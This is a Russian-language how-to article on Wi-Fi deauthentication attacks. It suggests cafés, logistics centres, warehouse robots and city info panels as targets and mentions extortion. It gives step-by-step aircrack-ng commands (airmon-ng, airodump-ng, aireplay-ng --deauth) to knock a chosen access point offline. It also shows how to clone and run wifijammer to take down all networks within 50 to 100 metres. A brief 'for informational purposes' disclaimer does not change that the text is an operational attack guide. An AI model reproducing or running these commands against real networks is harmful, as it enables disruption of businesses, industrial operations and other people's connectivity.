Привет, Аноним. Сегодня поговорим о WI-FI сетях. Сейчас настолько все развито, что в любом кафе, баре или другом месте есть беспроводные сети для гостей. Также такие технологии используют магазины, промышленные объекты и предприятия.
А теперь представьте пиковую ситуацию, когда, например, нужно разгружать 100 тонный контейнер с рыбой, а сеть “лежит”. Вносить данные вручную намного дольше и это очень большая проблема. Или же, например отсутствие сети в кафешке, не все посетители захотят отдыхать в заведении, где нет доступной точки доступа.
Возможно, скоро грядет волна коммерческого терроризма и вымогательства, с переплетом и детскими шалостями. Еще лет 10 и это будет весьма актуально. Помимо ТСД есть другие устройства. К примеру, логистические центры включают (В РФ — На Западе уже включили) в рабочий процесс роботов логистов — погрузчики, сборщики, дроны с камерами. Не забываем про инфопанели, которые сейчас стоят на улице городов или в больших центрах и несут информацию. Все это можно будет сломать, взломать, нарушить процесс или просто остановить работу, о чем мы сегодня и поговорим.
Как сделать деаутентификацию точки?
Рассмотрим конкретный случай. Например, нам нужно положить конкретную точку. Для этого необходимо выполнить команды, адаптировав под свой интерфейс. Я буду показывать на примере внешней антенны:
sudo airmon-ng start wlxf4ec388df20f // переводим карту в режим мониторинга.
Переводим карту в режим мониторинга
sudo airodump-ng mon0 //выводим режим мониторинга на экран, чтобы найти MAC точки нашей цели. Также необходимо запомнить параметр CH, на котором работает точка нашей цели
Вывод режима мониторинга на экран
Выбор первой цели
sudo airmon-ng start mon0 11 //переводим наш интерфейс на частоту работы Wi-Fi точки от 1 до 12; в моем случае появился интерфейс mon0, у вас может он называться по-другому
Перевод интерфейса на необходимую частоту
sudo aireplay-ng --deauth 1000 mon0 -a A0:XX:XX:XX:XX -i mon0 –ignore-negative-one //запускаем деаутентификацию
Деаутентификация
После этого можно проверить работоспособность. Клиенты не смогут получить доступ. Программа будет постоянно отправлять пакеты, которые будут производить деаутентификацию.
Как сделать массовую деаутентификацию?
Например, нет времени выяснять какую точку нужно заглушить, а нужно положить абсолютно всю инфраструктуру. Тогда нужно воспользоваться таким инструментом, как wifijammer (по ссылке можно увидеть информацию на гитхабе). Также нужно иметь внешний WI-FI адаптер, лучше несколько типа ALFA или TP-LINK. Итак, скопировать можно с помощью такой команды:
git clone https://github.com/DanMcInerney/wifijammer.git
Далее необходимо запустить программу вот в таком режиме, если мы хотим положить все абсолютно WI-FI сети в радиусе 50–100:
sudo python wifijammer.py
Деаутентификация
Если нужно заглушить конкретную точку, то необходимо использовать команду:
sudo python wifijammer.py -a XX:XX:XX:XX:XX:XX -c 2
У некоторых роутеров, имеется настройка, которая позволяет менять каналы при атаке другими программами, что мешает атаке и заставляет хакера вручную перенастраивать атаку на другой канал. Эта утилита учитывает момент. Она автоматически перенастраивается и очень шустро идет по другим каналам.
Заключение
Используйте данную информацию с умом. Статья предоставлена для ознакомления. Помните, что все больше и больше умных девайсов подключается в системы умного дома и т.д. И таким простым способом можно частично парализовать работу компании или системы умного дома. Если вам понравилась статья, то в следующей работе я покажу, как можно сделать такой деаутентификатор с размером в пачку сигарет и с бюджетом 7–10 долларов. Он будет работать от павербанка и, для этих целей, не нужно будет использовать ноутбук.